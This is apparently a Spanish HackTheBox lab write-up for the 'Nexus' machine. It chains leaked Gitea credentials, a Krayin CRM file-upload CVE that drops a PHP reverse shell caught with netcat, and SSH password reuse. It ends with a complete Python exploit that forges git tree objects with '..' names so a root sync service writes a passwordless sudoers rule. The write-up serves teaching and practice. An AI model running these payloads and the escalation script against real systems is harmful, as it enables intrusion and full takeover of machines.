Nexus (HTB): de un .env filtrado a root
Nexus es una máquina de dificultad fácil en HackTheBox, una plataforma de laboratorios donde practicas hacking ofensivo contra sistemas vulnerables a propósito. Todo lo que hay aquí es un entorno de pruebas legal y aislado: nada de esto se hace contra sistemas que no sean tuyos o para los que no tengas permiso explícito.
El recorrido toca varias piezas que se encadenan bien, y por eso me pareció un
buen writeup para explicar paso a paso: un servidor Gitea
expuesto que filtra credenciales, un CRM vulnerable a un CVE conocido, reutilización
de contraseñas para saltar de un usuario a otro, y una escalada a root que abusa
de un detalle sutil de cómo git guarda los nombres de archivo.
- IP objetivo:
10.129.62.1 - Sistema: Linux (Ubuntu)
- Dificultad: fácil
La cadena de ataque, de un vistazo
Antes de entrar al detalle, este es el camino completo. Cada eslabón habilita al siguiente:
nexus.htb (web)
└─ whatweb → usuario j.matthew
└─ ffuf → subdominio git.nexus.htb (Gitea)
└─ historial de commits filtra una contraseña
└─ login en Krayin CRM (billing.nexus.htb) como j.matthew
└─ CVE-2026-38526 → subida de webshell → shell como www-data
└─ .env de Krayin filtra otra contraseña
└─ reutilizada por SSH → usuario jones (user.txt)
└─ path traversal en el sync de plantillas de Gitea
└─ /etc/sudoers.d → root (root.txt)
Las flags (
user.txt,root.txt) y las contraseñas van redactadas. Son valores de una instancia efímera y la gracia del writeup es entender el cómo, no copiar la respuesta.
Reconocimiento
Al poner la IP en el navegador, el servidor redirige a http://nexus.htb/. Es un
nombre de dominio que nuestra máquina todavía no sabe resolver, así que lo
apuntamos a la IP objetivo en el archivo de hosts local (/etc/hosts en Linux es
la tabla que traduce nombres a IPs antes de consultar a un DNS):
echo "10.129.62.1 nexus.htb" | sudo tee -a /etc/hosts
Con eso la web ya carga. Lanzamos un escaneo de puertos con
nmap para ver qué servicios están expuestos. Las opciones:
-p- escanea los 65535 puertos, --min-rate 5000 acelera el envío, -Pn asume
que el host está vivo (sin ping previo) y -n evita resolución DNS:
$ nmap -p- --min-rate 5000 -T4 -Pn -n 10.129.62.1
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Solo dos puertos: 22 (SSH) y 80 (HTTP). Todo lo interesante, de momento, está en la web.
Pasamos whatweb, que identifica las tecnologías de un sitio y de paso extrae datos útiles del HTML:
$ whatweb http://nexus.htb
http://nexus.htb [200 OK] Country[RESERVED][ZZ],
Email[[email protected], [email protected]],
HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)],
Title[Nexus Energy Authority - Powering the Nation's Future]
Dos correos, y uno con pinta de usuario real: j.matthew. El sitio incluye
una oferta de empleo, que suele ser una mina de nombres de empleados válidos.
Guardamos j.matthew para más tarde.
Enumeración de subdominios
Muchas aplicaciones viven en subdominios (algo.nexus.htb) que no están enlazados
desde la web principal. Para descubrirlos usamos
ffuf, que prueba una lista de nombres candidatos
en la cabecera Host de la petición. La opción -fc 302 filtra las respuestas
con código 302 (la redirección por defecto de los subdominios que no existen),
así solo vemos los que sí:
ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fc 302
Sale un resultado con estatus 200: el subdominio git. Lo añadimos al
/etc/hosts junto a nexus.htb y lo abrimos.
Gitea: usuarios y credenciales en el historial
git.nexus.htb es una instancia de Gitea (un servicio de repositorios git
autoalojado, como un GitHub casero), versión 1.26.0.

Explorando encontramos dos usuarios, jones y admin, y un repositorio público:
admin/krayin-docker-setup. Dentro hay un archivo .env (el archivo donde las
aplicaciones guardan su configuración y, con demasiada frecuencia, sus secretos).
Este nos dice dos cosas:
- La aplicación es Krayin CRM.
- Vive en el subdominio
billing.nexus.htb(que también añadimos al/etc/hosts).
En la versión actual del .env el campo DB_PASSWORD está vacío, así que a
primera vista no hay nada que rascar. Pero git guarda todo el historial: borrar
un secreto en un commit posterior no lo elimina de los commits anteriores. Revisando
el historial del repositorio aparece un commit donde ese .env sí tenía la
contraseña, luego “limpiada”:
- APP_URL=http://nexus.htb
+ APP_URL=http://billing.nexus.htb
...
- DB_PASSWORD=N27xh!!2*****
+ DB_PASSWORD=
Ahí tenemos una contraseña. La lección: nunca confíes en que borrar un secreto del código lo hace desaparecer, queda en el historial hasta que reescribas la rama.
Acceso a Krayin CRM
Probamos esa contraseña filtrada en el panel de Krayin
(billing.nexus.htb/admin/login) con el correo que ya teníamos, [email protected],
y entra.

En el menú de usuario se ve la versión: Krayin CRM 2.2.0. Con producto y versión identificados, buscamos vulnerabilidades conocidas para esa versión y damos con CVE-2026-38526.
Explotación: CVE-2026-38526 (ejecución remota de código)
El CVE es una vulnerabilidad de subida de archivos arbitrarios: el editor de
texto enriquecido de Krayin (TinyMCE) permite subir archivos sin validar bien el
tipo, así que podemos subir un .php y el servidor lo ejecutará como código. Eso
es exactamente lo que necesitamos para una reverse shell (una conexión que el
propio servidor abre de vuelta hacia nosotros, dándonos una terminal).
Usamos un PoC (prueba de concepto) público para el CVE.
El payload: un payload.php con una reverse shell. Generé el
código con revshells.com (la plantilla clásica de
PHP de pentestmonkey), apuntando a la IP de mi máquina y al puerto en el que voy a
escuchar:
$ python3 poc.py -t http://billing.nexus.htb -u [email protected] -p 'N27xh!!2*****' -f payload.php
[+] File uploaded successfully.
Path to file: http://billing.nexus.htb/storage/tinymce/<hash>.php
Antes de disparar la shell, dejamos un listener escuchando con netcat en el puerto que elegimos:
$ nc -lvnp 9001
Y visitamos la URL del .php en el navegador. Al ejecutarse, el servidor nos
devuelve la conexión:
listening on [any] 9001 ...
connect to [10.10.16.235] from (UNKNOWN) [10.129.62.1] 41656
Linux nexus 6.8.0-111-generic ... x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ya estamos dentro como www-data, el usuario con el que corre el servidor web.
Es un punto de apoyo, pero de bajos privilegios: no es dueño de nada valioso.
Movimiento lateral: www-data → jones
Con la shell de www-data, revisamos la configuración de Krayin en el disco. El
.env que está en producción (/var/www/krayin/.env) tiene su propia contraseña
de base de datos, distinta a la que sacamos del Gitea:
$ cat /var/www/krayin/.env
...
DB_PASSWORD=y27xb3ha******
La reutilización de contraseñas es uno de los errores más comunes en la práctica,
así que probamos esa contraseña contra los usuarios del sistema. Con su jones no
prosperó de forma limpia, pero por SSH sí:
$ ssh [email protected]
[email protected]'s password: y27xb3ha******
...
jones@nexus:~$ whoami
jones
Somos jones, un usuario real con sesión interactiva. Y en su home está la
primera flag:
jones@nexus:~$ cat user.txt
[redactado]
Escalada de privilegios: del sync de plantillas de Gitea a root
Esta es la parte más interesante de la máquina. La escalada de jones a root
abusa de un servicio programado que sincroniza plantillas de Gitea, y de un detalle
poco conocido de cómo git guarda los nombres de archivo.
Reconocimiento del servicio
Despues de bastante investigacion se me dio por revisar tareas automáticas corren en el sistema. Un systemd timer es el equivalente moderno de un cron: dispara un servicio en un horario. Listamos los timers:
$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
... 00:32:46 UTC 22s ... 00:31:46 UTC 37s ago gitea-template-sync.timer gitea-template-sync.service
Hay un timer de gitea, y corre cada 60 segundos. Un sync de plantillas tan frecuente ya huele raro. Vemos qué hace el servicio:
$ systemctl status gitea-template-sync.service
● gitea-template-sync.service - Sync Gitea templates
Process: ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py (code=exited, status=0/SUCCESS)
Corre un script Python, /etc/gitea/template-sync.py, y por los rutas que
maneja (/var/lib/gitea, /var/log/template-sync.log) lo hace como root.
Cualquier archivo que ese script escriba, lo escribe con permisos de root.
El fallo en el script
El script recorre los repositorios marcados como “plantilla” en Gitea y copia sus archivos a una carpeta local. El fragmento clave:
target = os.path.join(stage_path, filepath)
# ...
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
f.write(cat_result.stdout)
stage_path es algo como /home/git/template-staging/jones/<repo>/. filepath
es el nombre de cada archivo del repositorio, obtenido con git ls-tree, y no se
valida. El problema es cómo se comporta os.path.join: si le pasas una ruta con
.. (que en Linux significa “sube un directorio”), no la normaliza ni la bloquea.
Si filepath fuera ../../../../../../etc/sudoers.d/pwn, el open() acabaría
escribiendo el archivo fuera de la carpeta de staging, en /etc/sudoers.d/.
Y /etc/sudoers.d/ es oro: es donde se definen reglas de sudo. Si escribimos ahí
una regla que nos dé sudo sin contraseña, ganamos root.
Esto es una vulnerabilidad de directory traversal (o path traversal):
salirse de la carpeta prevista manipulando la ruta con ...
La complicación: git no deja nombres con ..
La idea es crear un repositorio cuyo “archivo” se llame literalmente
../../../../../../etc/sudoers.d/pwn. Pero git moderno lo impide:
$ git update-index --add --cacheinfo "100644,$HASH,../../etc/passwd"
error: Invalid path '../../etc/passwd'
Desde git 2.35 (a raíz de CVE-2022-24765), git rechaza rutas con segmentos ..
al agregarlas al index (la zona de preparación de un commit). Perooooo y aquí está
el truco, esa validación solo aplica al index. Los tree objects, la
estructura interna con la que git guarda los directorios en .git/objects/, no
pasan por ese chequeo si los escribimos a mano.
El truco: tree objects anidados con ..
Un tree object es la representación de un directorio en git: una lista de entradas
(modo, nombre, hash). El detalle es que ese nombre puede ser cualquier
cadena que no contenga /, incluido ...
Cuando pedimos git ls-tree -r (que aplana toda la jerarquía a rutas completas),
git concatena los nombres de cada nivel con /. Así que si anidamos un árbol de
directorios llamados .., git nos construye la ruta con traversal por nosotros:
tree raíz
├── README.md (blob)
└── .. (tree)
└── .. (tree)
└── .. (tree) ← se repite
└── etc (tree)
└── sudoers.d (tree)
└── pwn (blob) ← nuestra regla de sudo
Al aplanarlo, git produce: ../../.../etc/sudoers.d/pwn.
¿Cuántos .. hacen falta? El staging está en
/home/git/template-staging/jones/<repo>/, que son 5 niveles por debajo de la raíz
/. Con 5 .. llegamos a /; un .. de más es inofensivo (subir desde / no
hace nada). El script del exploit usa 6 para ir sobre seguro.
El exploit
Como no podemos usar los comandos normales de git, escribimos los objetos a mano.
Este script crea el blob con nuestra regla de sudo, los árboles anidados con ..
y el commit final:
#!/usr/bin/env python3
import hashlib, os, zlib, time
def write_obj(data, t):
h = ("%s %d" % (t, len(data))).encode() + b"\x00"
s = h + data
sha = hashlib.sha1(s).hexdigest()
d = os.path.join(".git", "objects", sha[:2])
os.makedirs(d, exist_ok=True)
p = os.path.join(d, sha[2:])
if not os.path.exists(p):
open(p, "wb").write(zlib.compress(s))
return sha
def entry(mode, name, sha):
return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)
# La regla de sudo que nos dará root sin contraseña
payload = b'jones ALL=(ALL) NOPASSWD: ALL\n'
payload_blob = write_obj(payload, "blob")
# Construimos etc/sudoers.d/pwn con tres niveles de tree
sudoers_t = write_obj(entry("100644", "pwn", payload_blob), "tree")
sudoers_d_t = write_obj(entry("40000", "sudoers.d", sudoers_t), "tree")
etc_t = write_obj(entry("40000", "etc", sudoers_d_t), "tree")
# Envolvemos en cinco niveles de ".." para escapar del staging
cur = etc_t
for _ in range(5):
cur = write_obj(entry("40000", "..", cur), "tree")
# Tree raíz: un README (para que parezca una plantilla normal) + un ".." más
root = write_obj(
entry("100644", "README.md", write_obj(b"# pwn\n", "blob")) + entry("40000", "..", cur),
"tree",
)
ts = int(time.time())
commit = ("tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"
% (root, ts, ts)).encode()
sha = write_obj(commit, "commit")
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("commit:", sha)
Antes de correrlo, preparamos el repositorio destino. Gitea solo sincroniza los
repos marcados como template, así que lo creamos desde la propia interfaz web:
New Repository en el Gitea de jones, con nombre pwn-template, y en esa
misma pantalla de creación marcamos la casilla Make repository a template:

Con el repo ya creado y marcado como plantilla, lo clonamos:
$ git clone http://jones:'y27xb3ha******'@git.nexus.htb/jones/pwn-template.git
$ cd pwn-template
Ejecutamos el script dentro del clon y comprobamos que el árbol contiene la ruta con traversal:
$ python3 build.py
commit: fee25d2...
$ git ls-tree -r HEAD
100644 blob f27766e... README.md
100644 blob 363212f... ../../../../../../etc/sudoers.d/pwn
Ahí está el archivo malicioso. Lo empujamos forzando la rama (el clon ya trae
configurado el origin, así que no hace falta añadirlo):
$ git push -u origin main --force
Y esperamos el siguiente tick del timer (máximo 60 segundos). El log confirma que
el servicio, corriendo como root, escribió nuestro archivo justo donde queríamos:
$ tail -5 /var/log/template-sync.log
[...] Syncing template: jones/pwn-template
[...] synced: README.md
[...] synced: ../../../../../../etc/sudoers.d/pwn
[...] Template sync complete
Root
Con /etc/sudoers.d/pwn en su sitio, jones ya puede usar sudo sin contraseña:
jones@nexus:~$ sudo su
root@nexus:/home/jones# id
uid=0(root) gid=0(root) groups=0(root)
root@nexus:~# cat root.txt
e26033e7************************
Somos root. Máquina completada.
Conclusiones
Nexus encadena fallos que, por separado, son pequeños, pero que juntos forman un
camino completo hasta root. Las lecciones que deja:
- Los subdominios importan. Enumerar
Hostreveló todo un servicio (Gitea) invisible desde la web principal. - El historial de git no olvida. Borrar un secreto en un commit no lo elimina de los anteriores; hay que reescribir la historia (o rotar la credencial).
- La reutilización de contraseñas cierra el círculo. Una contraseña de base de datos abrió una sesión SSH.
os.path.joinno sanitiza... Concatenar rutas que vienen de una fuente externa, sin validar, es una receta clásica de path traversal - y aquí, ejecutada comoroot, terminó en un compromiso total.